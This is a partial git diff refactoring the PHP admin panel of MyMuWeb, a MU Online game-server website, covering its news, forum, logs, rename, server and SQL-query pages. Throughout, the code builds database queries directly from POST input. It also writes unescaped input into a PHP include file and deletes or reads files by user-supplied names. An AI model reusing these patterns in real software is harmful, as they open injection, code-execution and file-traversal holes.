+ if ($searchEntity === 'character') { + $get_char_row = array($row[1]); + } else { + $get_char_result = mssql_query("SELECT GameIDC FROM dbo.AccountCharacter WHERE Id='$row[0]'"); + $get_char_row = mssql_fetch_row($get_char_result); + } - - - - - \ No newline at end of file + if ($get_ip_row[0] !== null && $get_char_row[0] === null) { + $get_char_row[0] = 'Error #121'; + } + + if ($get_ip_row[0] === null) { + $get_ip_row[0] = 'Error #120'; + } + + $get_ip_row[2] = ($get_ip_row[2] == 1) + ? 'status' + : 'status'; + ?> + + . + + > + + + + + + + + + \ No newline at end of file diff --git a/admin/forum.php b/admin/forum.php index 4a2902a..5846afa 100644 --- a/admin/forum.php +++ b/admin/forum.php @@ -1,80 +1,102 @@ -/!\ Access Denied!'); +} // Editor Forum Catalog for Administrator -$forum_catalog = 'includes/forum_catalog.php'; -if(isset($_POST[forum])) { - include($forum_catalog); - $array_list = " $value) { - if(!empty($_POST["key$key"])) { - $id = $_POST["key$key"]; - $name = $_POST["name$key"]; - $notice = $_POST["notice$key"]; - $status = $_POST["status$key"]; - $array_list .= " $id => array('$name','$notice',$status),\n"; - } - } - if(!empty($_POST[keynew])) { - $array_list .= " $_POST[keynew] => array('$_POST[namenew]','$_POST[noticenew]',$_POST[statusnew]),\n"; - } - $array_list .= ");\n?>"; +$forum_catalog = __DIR__ . '/../includes/forum_catalog.php'; +include $forum_catalog; - $code = str_replace('<','<',str_replace("\n",' ',$array_list)); +if (isset($_POST['forum'])) { + $forumList = array(); - $fd = fopen($forum_catalog, "w"); - fwrite($fd, $array_list); - fclose($fd); - echo "$warning_green Forum Catalog SuccessFully Edited!"; - writelog("a_forum","Forum Catalog Has Been Edited Array: $code"); -} -?> + $mmw['forum_catalog']['new'] = array(); + foreach ($mmw['forum_catalog'] as $key => $value) { + if (empty($_POST['key' . $key])) { + continue; + } + $id = $_POST['key' . $key]; + $name = $_POST['name' . $key]; + $notice = $_POST['notice' . $key]; + $status = $_POST['status' . $key]; + $forumList[] = "\t{$id} => array('{$name}', '{$notice}', {$status})"; + } - - - - -
-
- Editor Forum Catalog for Administrator + $forumList = implode(',' . PHP_EOL, $forumList); + $forumData = << - - - - - - - - - - $value) { - $result = mssql_query("SELECT count(f_id) FROM MMW_forum WHERE f_catalog='$key'"); - $row = mssql_fetch_row($result); - $status = ''; - if($value[2]==1) {$status[1] = "selected";} else {$status[0] = "selected";} + file_put_contents($forum_catalog, $forumData); + echo $mmw['warning']['green'] . 'Forum Catalog SuccessFully Edited!'; + writelog('a_forum', 'Forum Catalog Has Been Edited Array: ' . $code); + include $forum_catalog; +} ?> - - - - - - - - - - - - - - - - - -
#NameNoticeAddTopicsDelete
New
-
- +
+ Forum Catalog + +
+ + + + + + + + + + + + $value) { + $result = mssql_query("SELECT count(f_id) FROM dbo.MMW_forum WHERE f_catalog='{$key}'"); + $row = mssql_fetch_row($result); + ?> + + + + + + + + + + + + + + + + + +
#NameNoticeAddTopicsDelete
+ + + + + + + + +
+ New + +
+
+ + + +
+
-
-
\ No newline at end of file + \ No newline at end of file diff --git a/admin/home.php b/admin/home.php index 3584969..1116ebf 100644 --- a/admin/home.php +++ b/admin/home.php @@ -1,14 +1,12 @@ - - - - - -
-
- Welcome - This Is Unique Administrator Panel MyMuWeb By Vaflan, Installed
-
News from the site of www.MyMuWeb.Ru
- If you see this report, a server or JavaScript means with news about MyMuWeb turned off! - -
-
\ No newline at end of file +/!\ Access Denied!'); +} ?> +
+ Welcome + This Is Unique Administrator Panel MyMuWeb By Vaflan, + Installed +
+ News from the site of MyMuWeb.Ru + If you see this report, a server or JavaScript means with news about MyMuWeb turned off! + +
\ No newline at end of file diff --git a/admin/index.php b/admin/index.php new file mode 100644 index 0000000..fdeea70 --- /dev/null +++ b/admin/index.php @@ -0,0 +1,193 @@ + $account, + 'password' => $password, + 'security' => $security, + 'level' => $row['mmw_status'] + ); + die(""); + } + } + die(""); +} + + +// Check Login +if (isset($_SESSION['admin']['account'], $_SESSION['admin']['level'])) { + $account = $_SESSION['admin']['account']; + $password = $_SESSION['admin']['password']; + $security = $_SESSION['admin']['security']; + $level = $_SESSION['admin']['level']; + + $passwordValue = ($mmw['md5']) + ? "[dbo].[fn_md5]('{$password}', '{$account}')" + : "'{$password}'"; + + $checkRow = mssql_fetch_assoc(mssql_query("SELECT memb___id, mmw_status FROM dbo.MEMB_INFO WHERE memb___id='{$account}' AND memb__pwd={$passwordValue}")); + + if ($mmw['admin_security_code'] !== $security || $account !== $checkRow['memb___id'] || $level !== $checkRow['mmw_status'] || !$mmw['status_rules'][$level]['admin_panel']) { + session_destroy(); + die(""); + } +} + + +// Logout +if (isset($_REQUEST['logout'])) { + session_destroy(); + die(""); +} + + +// Check admin file +if (substr($_SERVER['SCRIPT_FILENAME'], -15) != 'admin/index.php') { + die($mmw['die']['start'] . 'Incorrect filename admin panel!
You should: admin/index.php' . $mmw['die']['end']); +} + + +// Check Admin Panel +if ($mmw['check_admin_panel']) { + writelog('a_check_admin_panel', '' . '//' . $_SERVER['SERVER_ADDR'] . urlencode($_SERVER['REQUEST_URI']) . ''); +} + +$css = is_file('../themes/' . $mmw['theme'] . '/admin.css') + ? '../themes/' . $mmw['theme'] . '/admin.css' + : 'assets/admin.css'; +?> + + + MyMuWeb Administrator + + + + + + +
+ + + + + + + + + + + +
+ Home | + SQL Query | + Back Up | + Server | + News | + Downloads | + Votes | + Forum | + ADS | + Request
+ Rename Character | + Search Character | + Search Account | + Account List | + Ban IP | + Find IP | + Logs +
+ +
+ + + +
+ Welcome +
+
+ + + + + + + + + + + + + + + + +
Admin Account
Admin Password
Admin SecurityCode + + +
+ + +
+
+ + +
+ + \ No newline at end of file diff --git a/admin/logs.php b/admin/logs.php index 50d3154..16e4e3a 100644 --- a/admin/logs.php +++ b/admin/logs.php @@ -1,47 +1,42 @@ -/!\ Access Denied!'); +} -if(isset($_POST["log_name"])) { - clearlog($_POST["log_name"]); - echo "$warning_green Log $logfile SuccessFully Deleted!"; +if (isset($_POST['log_name'])) { + unlink(__DIR__ . '/../logs/' . $_POST['log_name']); + echo $mmw['warning']['green'] . 'Log ' . $logfile . ' SuccessFully Deleted!'; } -if($dh = opendir('logs')) { - while (($file = readdir($dh)) !== false) { - $format = substr($file, -3); - if($format == 'php') { - $num = $num + 1; - $file_name = substr($file, 0, -4); - $clear_log = '
'; - if(substr($file_name,0,2)=='a_') { - $admin_logs .= ''.$file_name.' ['.filesize("logs/$file").' byte]'.$clear_log.''; - } - else { - $other_logs .= ''.$file_name.' ['.filesize("logs/$file").' byte]'.$clear_log.''; +$logList = array( + 'admin' => '', + 'other' => '' +); +if ($dh = opendir(__DIR__ . '/../logs')) { + while (($file = readdir($dh)) !== false) { + $format = substr($file, -3); + if (in_array($format, array('htm', 'php'))) { + $file_name = substr($file, 0, -4); + $logGroup = (substr($file, 0, 2) === 'a_') ? 'admin' : 'other'; + $clear_log = '
'; + $logList[$logGroup] .= '' . $file_name . ' [' . filesize('../logs/' . $file) . ' byte]' . $clear_log . ''; + } - } - } - closedir($dh); + } + closedir($dh); } ?> - - - - - -
-
- All Exect Logs - - Logs By Admin Panel - - -
- - - Logs By Main Web - - -
- -
-
\ No newline at end of file +
+ All Exect Logs + + Logs By Admin Panel + + +
+ + + Logs By Main Web + + +
+ +
diff --git a/admin/news.php b/admin/news.php index db6a9eb..14a40a7 100644 --- a/admin/news.php +++ b/admin/news.php @@ -1,161 +1,184 @@ -/!\ Access Denied!'); +} // For News module MMW -if(isset($_POST["add_new_news"])) { - $news_title = $_POST['news_title']; - $news_category = $_POST['category']; - $news_row_1 = bugsend($_POST['news_row_1']); - $news_row_2 = bugsend($_POST['news_row_2']); - $news_row_3 = bugsend($_POST['news_row_3']); - $news_autor = $_SESSION['a_admin_login']; - $time = time(); - if(empty($news_title) || empty($news_category)) {echo "$warning_red Error: Some Fields Were Left Blank!
Go Back.";} - else { - mssql_query("INSERT INTO MMW_news(news_title,news_autor,news_category,news_date,news_row_1,news_row_2,news_row_3,news_id) VALUES ('$_POST[news_title]','$_SESSION[a_admin_login]','$_POST[category]','$time','$news_row_1','$news_row_2','$news_row_3','$mmw[rand_id]')"); - echo "$warning_green News SuccessFully Added!"; - writelog("a_news","News: $_POST[news_title] Has Been Added Author: $_SESSION[a_admin_login]"); - } +if (isset($_POST['add_new_news'])) { + $news_title = $_POST['news_title']; + $news_category = $_POST['category']; + $news_row_1 = bugsend($_POST['news_row_1']); + $news_row_2 = bugsend($_POST['news_row_2']); + $news_row_3 = bugsend($_POST['news_row_3']); + $news_autor = $_SESSION['admin']['account']; + $time = time(); + if (empty($news_title) || empty($news_category)) { + echo $mmw['warning']['red'] . 'Error: Some Fields Were Left Blank!
Go Back.'; + } else { + mssql_query("INSERT INTO dbo.MMW_news(news_title,news_autor,news_category,news_date,news_row_1,news_row_2,news_row_3,news_id) VALUES ('{$_POST['news_title']}','{$_SESSION['admin']['account']}','{$_POST['category']}','{$time}','{$news_row_1}','{$news_row_2}','{$news_row_3}','{$mmw['rand_id']}')"); + echo $mmw['warning']['green'] . 'News SuccessFully Added!'; + writelog('a_news', 'News: ' . $_POST['news_title'] . ' Has Been Added Author: ' . $_SESSION['admin']['account']); + } } -if(isset($_POST["edit_news_done"])) { - $news_title = $_POST['edit_news_title']; - $news_autor = $_POST['edit_news_autor']; - $news_cateogry = $_POST['category']; - $news_id = $_POST['news_id']; - $news_row_1 = bugsend($_POST['edit_news_row_1']); - $news_row_2 = bugsend($_POST['edit_news_row_2']); - $news_row_3 = bugsend($_POST['edit_news_row_3']); - if(empty($news_title) || empty($news_autor) || empty($news_cateogry) || empty($news_id)) {echo "$warning_red Error: Some Fields Were Left Blank!
Go Back.";} - else { - mssql_query("UPDATE MMW_news SET [news_title]='$_POST[edit_news_title]',[news_autor]='$_POST[edit_news_autor]',[news_category]='$_POST[category]',[news_row_1]='$news_row_1',[news_row_2]='$news_row_2',[news_row_3]='$news_row_3' WHERE [news_id]='$_POST[news_id]'"); - echo "$warning_green News SuccessFully Edited!"; - writelog("a_news","News: $_POST[edit_news_title] Has Been Edited Author: $_POST[edit_news_autor]"); - } +if (isset($_POST['edit_news_done'])) { + $news_title = $_POST['edit_news_title']; + $news_autor = $_POST['edit_news_autor']; + $news_cateogry = $_POST['category']; + $news_id = $_POST['news_id']; + $news_row_1 = bugsend($_POST['edit_news_row_1']); + $news_row_2 = bugsend($_POST['edit_news_row_2']); + $news_row_3 = bugsend($_POST['edit_news_row_3']); + if (empty($news_title) || empty($news_autor) || empty($news_cateogry) || empty($news_id)) { + echo $mmw['warning']['red'] . 'Error: Some Fields Were Left Blank!
Go Back.'; + } else { + mssql_query("UPDATE dbo.MMW_news SET [news_title]='{$_POST['edit_news_title']}',[news_autor]='{$_POST['edit_news_autor']}',[news_category]='{$_POST['category']}',[news_row_1]='{$news_row_1}',[news_row_2]='{$news_row_2}',[news_row_3]='{$news_row_3}' WHERE [news_id]='{$_POST['news_id']}'"); + echo $mmw['warning']['green'] . 'News SuccessFully Edited!'; + writelog('a_news', 'News: ' . $_POST['edit_news_title'] . ' Has Been Edited Author: ' . $_POST['edit_news_autor']); + } } -if(isset($_POST["delete_news"])) { - $news_id = $_POST['delete_news']; - if(empty($news_id)) {echo "$warning_red Error: Some Fields Were Left Blank!
Go Back."; } - else { - mssql_query("DELETE FROM MMW_news WHERE news_id='$news_id'"); - mssql_query("DELETE FROM MMW_comment WHERE c_id_code='$news_id'"); - echo "$warning_green News SuccessFully Deleted!"; - writelog("a_news","News: $_POST[news_title] Has Been Deleted"); - } +if (isset($_POST['delete_news'])) { + $news_id = $_POST['delete_news']; + if (empty($news_id)) { + echo $mmw['warning']['red'] . 'Error: Some Fields Were Left Blank!
Go Back.'; + } else { + mssql_query("DELETE FROM dbo.MMW_news WHERE news_id='$news_id'"); + mssql_query("DELETE FROM dbo.MMW_comment WHERE c_id_code='$news_id'"); + echo $mmw['warning']['green'] . 'News SuccessFully Deleted!'; + writelog('a_news', 'News: ' . $_POST['news_title'] . ' Has Been Deleted'); + } } ?> - - - - - - - -
-
- +
+ Edit News -
+ - - - - - - - - - - - + + + + + + + + + + +
- Author Curent Category:
- News Title - Category -
- News Row 1
-
- News Row 2
-
- News Row 3
-
- - -
+ Author + + Curent + Category:
+ News Title + Category +
+ News Row 1
+ +
+ News Row 2
+ +
+ News Row 3
+ +
+ + +
-
- + + Add News -
+ - - - - - - - - - - - + + + + + + + + + + +
- Title - Category
- News Row 1
-
- News Row 2
-
- News Row 3
-
- - -
+ Title + + Category
+ News Row 1
+ +
+ News Row 2
+ +
+ News Row 3
+ +
+ + +
-
- -
-
-
- News List + + +
- - - - - - - - - - -"; - $news_table_delete = ""; +
+ News List - $row[0] = substr($row[0],0,15); - $row[3] = date("H:i, d.m.Y",$row[3]); -?> -
- - - - - - - - - -
#TitleAuthorCategoryDateEditDelete
....
+ + + + + + + + + + + + + + + + + + + + + + + +
#TitleAuthorCategoryDateEditDelete
.... +
+ +
+
+
+ + +
+
- -
\ No newline at end of file + diff --git a/admin/readlog.php b/admin/readlog.php new file mode 100644 index 0000000..4f4c5d0 --- /dev/null +++ b/admin/readlog.php @@ -0,0 +1,27 @@ + + + + MMW Admin Logs + + + +
+/!\ Access Denied!');
+}
+
+$file = __DIR__ . '/../logs/' . $_GET['log'];
+echo is_file($file . '.htm')
+	? @file_get_contents($file . '.htm')
+	:  is_file($file . '.php')
+		? @file_get_contents($file . '.php')
+		: '/!\ Empty!';
+?>
+
+ + \ No newline at end of file diff --git a/admin/rename.php b/admin/rename.php index 6e044c5..587990c 100644 --- a/admin/rename.php +++ b/admin/rename.php @@ -1,62 +1,62 @@ -/!\ Access Denied!'); +} -if(isset($_POST["name_char"])){ - $name_char = $_POST['name_char']; - $rename_char = $_POST['rename_char']; - $date = date('d-m-Y H:i'); - $name_check = mssql_query("SELECT Name FROM Character WHERE name='$rename_char'"); - $check_char = mssql_num_rows($name_check); - if(empty($name_char) || empty($rename_char)) {echo "$warning_red Error: Some Fields Were Left Blank!
Go Back.";} - elseif($check_char > 0) {echo "$warning_red Character Is Already In Use, Please Choose Another!";} - else { - @mssql_query("Update AccountCharacter set [GameID1]='$rename_char' WHERE [GameID1]='$name_char'"); - @mssql_query("Update AccountCharacter set [GameID2]='$rename_char' WHERE [GameID2]='$name_char'"); - @mssql_query("Update AccountCharacter set [GameID3]='$rename_char' WHERE [GameID3]='$name_char'"); - @mssql_query("Update AccountCharacter set [GameID4]='$rename_char' WHERE [GameID4]='$name_char'"); - @mssql_query("Update AccountCharacter set [GameID5]='$rename_char' WHERE [GameID5]='$name_char'"); - @mssql_query("Update Character set [Name]='$rename_char' WHERE [Name]='$name_char'"); - @mssql_query("Update CharPreview set [Name]='$rename_char' WHERE [Name]='$name_char'"); - @mssql_query("Update Guild set [G_Master]='$rename_char' WHERE [G_Master]='$name_char'"); - @mssql_query("Update GuildMember set [Name]='$rename_char' WHERE [Name]='$name_char'"); - @mssql_query("Update MEMB_INFO set [char_set]='$rename_char' WHERE [char_set]='$name_char'"); - @mssql_query("Update MMW_comment set [c_char]='$rename_char' WHERE [c_char]='$name_char'"); - @mssql_query("Update MMW_forum set [f_char]='$rename_char' WHERE [f_char]='$name_char'"); - @mssql_query("Update MMW_forum set [f_lostchar]='$rename_char' WHERE [f_lostchar]='$name_char'"); - @mssql_query("Update MMW_market set [item_char]='$rename_char' WHERE [item_char]='$name_char'"); - @mssql_query("Update OptionData set [Name]='$rename_char' WHERE [Name]='$name_char'"); - @mssql_query("Update T_CGuid set [Name]='$rename_char' WHERE [Name]='$name_char'"); - @mssql_query("Update T_FriendList set [FriendName]='$rename_char' WHERE [FriendName]='$name_char'"); - @mssql_query("Update T_FriendMail set [FriendName]='$rename_char' WHERE [FriendName]='$name_char'"); - @mssql_query("Update T_FriendMain set [Name]='$rename_char' WHERE [Name]='$name_char'"); - @mssql_query("Update T_WaitFriend set [FriendName]='$rename_char' WHERE [FriendName]='$name_char'"); +if (isset($_POST['name_char'])) { + $name_char = $_POST['name_char']; + $rename_char = $_POST['rename_char']; + $date = date('d-m-Y H:i'); + $name_check = mssql_query("SELECT Name FROM dbo.Character WHERE name='{$rename_char}'"); + $check_char = mssql_num_rows($name_check); + if (empty($name_char) || empty($rename_char)) { + echo $mmw['warning']['red'] . 'Error: Some Fields Were Left Blank!
Go Back.'; + } elseif ($check_char > 0) { + echo $mmw['warning']['red'] . 'Character Is Already In Use, Please Choose Another!'; + } else { + mssql_query("UPDATE dbo.AccountCharacter SET [GameID1]='$rename_char' WHERE [GameID1]='$name_char'"); + mssql_query("UPDATE dbo.AccountCharacter SET [GameID2]='$rename_char' WHERE [GameID2]='$name_char'"); + mssql_query("UPDATE dbo.AccountCharacter SET [GameID3]='$rename_char' WHERE [GameID3]='$name_char'"); + mssql_query("UPDATE dbo.AccountCharacter SET [GameID4]='$rename_char' WHERE [GameID4]='$name_char'"); + mssql_query("UPDATE dbo.AccountCharacter SET [GameID5]='$rename_char' WHERE [GameID5]='$name_char'"); + mssql_query("UPDATE dbo.Character SET [Name]='$rename_char' WHERE [Name]='$name_char'"); + mssql_query("UPDATE dbo.CharPreview SET [Name]='$rename_char' WHERE [Name]='$name_char'"); + mssql_query("UPDATE dbo.Guild SET [G_Master]='$rename_char' WHERE [G_Master]='$name_char'"); + mssql_query("UPDATE dbo.GuildMember SET [Name]='$rename_char' WHERE [Name]='$name_char'"); + mssql_query("UPDATE dbo.MEMB_INFO SET [char_SET]='$rename_char' WHERE [char_set]='$name_char'"); + mssql_query("UPDATE dbo.MMW_comment SET [c_char]='$rename_char' WHERE [c_char]='$name_char'"); + mssql_query("UPDATE dbo.MMW_forum SET [f_char]='$rename_char' WHERE [f_char]='$name_char'"); + mssql_query("UPDATE dbo.MMW_forum SET [f_lastchar]='$rename_char' WHERE [f_lastchar]='$name_char'"); + mssql_query("UPDATE dbo.MMW_market SET [item_char]='$rename_char' WHERE [item_char]='$name_char'"); + mssql_query("UPDATE dbo.OptionData SET [Name]='$rename_char' WHERE [Name]='$name_char'"); + mssql_query("UPDATE dbo.T_CGuid SET [Name]='$rename_char' WHERE [Name]='$name_char'"); + mssql_query("UPDATE dbo.T_FriendList SET [FriendName]='$rename_char' WHERE [FriendName]='$name_char'"); + mssql_query("UPDATE dbo.T_FriendMail SET [FriendName]='$rename_char' WHERE [FriendName]='$name_char'"); + mssql_query("UPDATE dbo.T_FriendMain SET [Name]='$rename_char' WHERE [Name]='$name_char'"); + mssql_query("UPDATE dbo.T_WaitFriend SET [FriendName]='$rename_char' WHERE [FriendName]='$name_char'"); - echo "$warning_green $name_char Rename to $rename_char SuccessFully Edited!"; - writelog("a_rename_char","$name_char Renamed to $rename_char"); - } + echo $mmw['warning']['green'] . $name_char . ' Rename to ' . $rename_char . ' SuccessFully Edited!'; + writelog('a_rename_char', '' . $name_char . ' Renamed to ' . $rename_char . ''); + } } ?> - - - - -
-
- Rename Character -
- - - - - - - - - - - - -
Character
Rename To
-
-
-
\ No newline at end of file +
+ Rename Character +
+ + + + + + + + + + + + +
Character
Rename To
+ +
+
+
diff --git a/admin/request.php b/admin/request.php index 2cc9322..03834d4 100644 --- a/admin/request.php +++ b/admin/request.php @@ -1,29 +1,23 @@ -/!\ Access Denied!'); +} // Request for Administrator -$request = 'admin/request.htm'; +$requestFile = '../logs/request.htm'; -if(isset($_POST[clean])) { - $fp = fopen($request,"w"); - fputs($fp, '
'); - fclose($fp); - echo "$warning_green Request SuccessFully Cleaned!"; - writelog("a_request","Request Has Been Cleaned Author: $_SESSION[a_admin_login]"); +if (isset($_POST['clean'])) { + $fp = fopen($requestFile, 'w'); + fputs($fp, '
'); + fclose($fp); + echo $mmw['warning']['green'] . 'Request SuccessFully Cleaned!'; + writelog('a_request', 'Request Has Been Cleaned Author: ' . $_SESSION['admin']['account']); } ?> - - - - - -
-
- Request for Administrator -
-
- - -
-
-
-
\ No newline at end of file +
+ Request from Accounts +
+ + + +
+
diff --git a/admin/server.php b/admin/server.php index 9d5c58c..106819a 100644 --- a/admin/server.php +++ b/admin/server.php @@ -1,205 +1,179 @@ -/!\ Access Denied!'); +} // Server List -if(isset($_POST["new_server"])) { - $post_name = $_POST['name']; - $post_version = $_POST['version']; - $post_experience = $_POST['experience']; - $post_drops = $_POST['drops']; - $post_maxplayer = $_POST['maxplayer']; - $post_gsport = $_POST['gsport']; - $post_serverip = $_POST['serverip']; - $post_order = $_POST['order']; - $post_type = $_POST['servertype']; - if(empty($post_name) || empty($post_version) || empty($post_experience) || empty($post_drops) || empty($post_gsport) || empty($post_serverip) || empty($post_order) || empty($post_type) || empty($post_maxplayer)) {echo "$warning_red Error: Some Fields Were Left Blank!
Go Back.";} - elseif(ereg('[^0-9]', $post_order)) {echo "$warning_red Error: Please Use Only Numbers At Displaying Order!
Go Back.";} - else { - mssql_query("INSERT INTO MMW_servers(name,experience,drops,gsport,ip,display_order,version,type,maxplayer) VALUES ('$post_name','$post_experience','$post_drops','$post_gsport','$post_serverip','$post_order','$post_version','$post_type','$post_maxplayer')"); - echo "$warning_green $post_name Server SuccessFully Added!"; - writelog("a_server","New Server Named: $_POST[name] Has Been Added"); - } +if (isset($_POST['new_server'])) { + $post_name = $_POST['name']; + $post_version = $_POST['version']; + $post_experience = $_POST['experience']; + $post_drops = $_POST['drops']; + $post_maxplayer = $_POST['maxplayer']; + $post_gsport = $_POST['gsport']; + $post_serverip = $_POST['serverip']; + $post_order = $_POST['order']; + $post_type = $_POST['servertype']; + if (empty($post_name) || empty($post_version) || empty($post_experience) || empty($post_drops) || empty($post_gsport) || empty($post_serverip) || empty($post_order) || empty($post_type) || empty($post_maxplayer)) { + echo $mmw['warning']['red'] . 'Error: Some Fields Were Left Blank!
Go Back.'; + } elseif (!preg_match('/\d+/', $post_order)) { + echo $mmw['warning']['red'] . 'Error: Please Use Only Numbers At Displaying Order!
Go Back.'; + } else { + mssql_query("INSERT INTO dbo.MMW_servers(name,experience,drops,gsport,ip,display_order,version,type,maxplayer) VALUES ('$post_name','$post_experience','$post_drops','$post_gsport','$post_serverip','$post_order','$post_version','$post_type','$post_maxplayer')"); + echo $mmw['warning']['green'] . $post_name . ' Server SuccessFully Added!'; + writelog('a_server', 'New Server Named: ' . $_POST['name'] . ' Has Been Added'); + } } -if(isset($_POST["edit_server"])) { - $name = $_POST['name']; - $version = $_POST['version']; - $experience = $_POST['experience']; - $drops = $_POST['drops']; - $maxplayer = $_POST['maxplayer']; - $gsport = $_POST['gsport']; - $serverip = $_POST['serverip']; - $order = $_POST['order']; - $old_name = $_POST['old_name_server']; - $server_type = $_POST['servertype']; - if(empty($name) || empty($version) || empty($experience) || empty($drops) || empty($server_type) || empty($gsport) || empty($serverip) || empty($order) || empty($old_name) || empty($maxplayer)){echo "$warning_red Error: Some Fields Were Left Blank!
Go Back.";} - else { - mssql_query("Update MMW_servers set [name]='$name',[experience]='$experience',[drops]='$drops',[gsport]='$gsport',[ip]='$serverip',[display_order]='$order',[version]='$version',[type]='$server_type',[maxplayer]='$maxplayer' where [name]='$old_name'"); - echo "$warning_green $old_name Server SuccessFully Edited!"; - writelog("a_server","Server Named: $_POST[name] Has Been Edited"); - } +if (isset($_POST['edit_server'])) { + $old_name = $_POST['old_name_server']; + $name = $_POST['name']; + $version = $_POST['version']; + $experience = $_POST['experience']; + $drops = $_POST['drops']; + $maxplayer = $_POST['maxplayer']; + $gsport = $_POST['gsport']; + $serverip = $_POST['serverip']; + $order = $_POST['order']; + $server_type = $_POST['servertype']; + if (empty($name) || empty($version) || empty($experience) || empty($drops) || empty($server_type) || empty($gsport) || empty($serverip) || empty($order) || empty($old_name) || empty($maxplayer)) { + echo $mmw['warning']['red'] . 'Error: Some Fields Were Left Blank!
Go Back.'; + } elseif (!preg_match('/\d+/', $order)) { + echo $mmw['warning']['red'] . 'Error: Please Use Only Numbers At Displaying Order!
Go Back.'; + } else { + mssql_query("Update dbo.MMW_servers set [name]='$name',[experience]='$experience',[drops]='$drops',[gsport]='$gsport',[ip]='$serverip',[display_order]='$order',[version]='$version',[type]='$server_type',[maxplayer]='$maxplayer' where [name]='$old_name'"); + echo $mmw['warning']['green'] . $old_name . ' Server SuccessFully Edited!'; + writelog('a_server', 'Server Named: ' . $_POST['name'] . ' Has Been Edited'); + } } -if(isset($_POST["server_name_delete"])) { - $post_server_name_delete = $_POST["server_name_delete"]; - if(empty($post_server_name_delete)) {echo "$warning_red Error: Some Fields Were Left Blank!
Go Back.";} - else { - mssql_query("DELETE FROM MMW_servers WHERE name='$post_server_name_delete'"); - echo "$warning_green $post_server_name_delete Server SuccessFully Deleted!"; - writelog("a_server","Server Named: $_POST[server_name_delete] Has Been Deleted"); - } +if (isset($_POST['server_name_delete'])) { + if (empty($_POST['server_name_delete'])) { + echo $mmw['warning']['red'] . 'Error: Some Fields Were Left Blank!
Go Back.'; + } else { + mssql_query("DELETE FROM dbo.MMW_servers WHERE name='{$_POST['server_name_delete']}'"); + echo $mmw['warning']['green'] . $_POST['server_name_delete'] . ' Server SuccessFully Deleted!'; + writelog('a_server', 'Server Named: ' . $_POST['server_name_delete'] . ' Has Been Deleted'); + } } -?> - - - - - - - - -
-
- - Edit Server -
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Name
Version
Experience
Drops
Type Curent:
Max Players
Gs Port
Server IP
Display Order
-
- - Add Server -
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Name
Version
Experience
Drops
Type
Max Players
Gs Port
Server IP
Display Order
-
-
- -
-
- Server List - - - - - - - - - - - - - -Online'; - fclose($check); - } - else { - $status_done = 'Offline'; - } - $server_table_edit = ""; - $server_table_delete = ""; +if (isset($_POST['server_name_edit'])) { + $serverNameEdit = stripslashes($_POST['server_name_edit']); + $query = mssql_query("SELECT Name,experience,drops,gsport,ip,version,display_order,type,maxplayer FROM dbo.MMW_servers WHERE name='{$serverNameEdit}'"); + $editServer = mssql_fetch_row($query); +} ?> - - - - - - - - - - - - -
#NameVersionExperienceDropsTypeStatusEditDelete
.
+
+ Server +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Name
Version +
Experience
Drops
Type + + + Current: + +
Max Players
Gs Port +
Server IP
Display Order + +
+ + + + + + + +
+
+
-
-
+
+ Server List + + + + + + + + + + + + + + + Offline'; + if ($check = @fsockopen($row[4], $row[3], $errorCode, $errorMessage, 0.3)) { + $statusSocket = 'Online'; + fclose($check); + } + ?> + + + + + + + + + + + + +
#NameVersionExperienceDropsTypeStatusEditDelete
. +
+ + +
+
+
+ + +
+
+
diff --git a/admin/sqlquery.php b/admin/sqlquery.php index 37f3e47..aac648a 100644 --- a/admin/sqlquery.php +++ b/admin/sqlquery.php @@ -1,91 +1,82 @@ -/!\ Access Denied!'); +} // SQL Query Analyzer by Vaflan -$sqlquery_query = "UPDATE table SET [column]=? WHERE [column]=?\n\nSELECT * FROM table WHERE [column]=?\n\ndeclare @hex varbinary(1920); set @hex=(SELECT Items FROM warehouse where AccountId='?'); print @hex;"; +$exampleQuery = "UPDATE table SET [column]=? WHERE [column]=?\n\nSELECT * FROM table WHERE [column]=?\n\nSELECT CAST(Items AS varbinary(1920)) FROM warehouse WHERE AccountID='?'"; -if(isset($_POST[sql_query_true])) { - $sqlquery_query = str_replace('\"','"', str_replace("\'","",$_POST[sqlquery_query]) ); - $sqlquery_result = @mssql_query($sqlquery_query); - if($sqlquery_result) { - $query_result = "$warning_green Query done!"; - $log_dat = "Query: $sqlquery_query Has Been Injection"; - writelog("a_sql_query",$log_dat); - } - else { - $query_result = "$warning_red Error: $sqlquery_query"; - } +if (isset($_POST['sql_query_true'])) { + $sqlQuery = str_replace(array('\"', '\''), array('"', ''), $_POST['sql_query']); + if ($sqlQueryResult = mssql_query($sqlQuery)) { + $queryResult = $mmw['warning']['green'] . 'Query done!'; + writelog('a_sql_query', 'Query: ' . $sqlQuery . ' Has Been Injection'); + } else { + $queryResult = $mmw['warning']['red'] . 'Error: ' . $sqlQuery; + } } -function sqlquery_result($sql_query,$sql_result) { - $substr_query = substr($sql_query, 0, 6); - if($substr_query == 'SELECT' || $substr_query == 'Select' || $substr_query == 'select') { - $sql_query_array = preg_split("/[\s,]+/", $sql_query); - if($sql_query_array[1] == '*') { - $sql_column_query = "SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.Columns where TABLE_NAME='$sql_query_array[3]'"; - $sql_column_query_result = @mssql_query($sql_column_query); - } - if($sql_query_array[3] == '*') { - $sql_column_query = "SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.Columns where TABLE_NAME='$sql_query_array[5]'"; - $sql_column_query_result = @mssql_query($sql_column_query); - } - echo "
Result:
"; - echo "
\n"; - $num = mssql_num_rows($sql_result); - $column = mssql_num_fields($sql_result); - for($i=0; $i < $num; $i++) { - $row = mssql_fetch_row($sql_result); - if($i == 0) { - for($cn=0;$cn < $column; $cn++) { - if(isset($sql_column_query)) { - $sql_column_query_row = @mssql_fetch_row($sql_column_query_result); - echo $sql_column_query_row[0]; +function sql_query_result($sqlQuery, $sqlResult) +{ + $substrQuery = strtolower(substr($sqlQuery, 0, 6)); + if ($substrQuery === 'select') { + $sql_query_array = preg_split('/[\s,]+/', preg_replace('/\stop\s\d+\s/i', ' ', $sqlQuery)); + if ($sql_query_array[1] === '*') { + $sql_column_query = "SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.Columns where TABLE_NAME='$sql_query_array[3]'"; + $sql_column_query_result = mssql_query($sql_column_query); + } + echo '
Result:
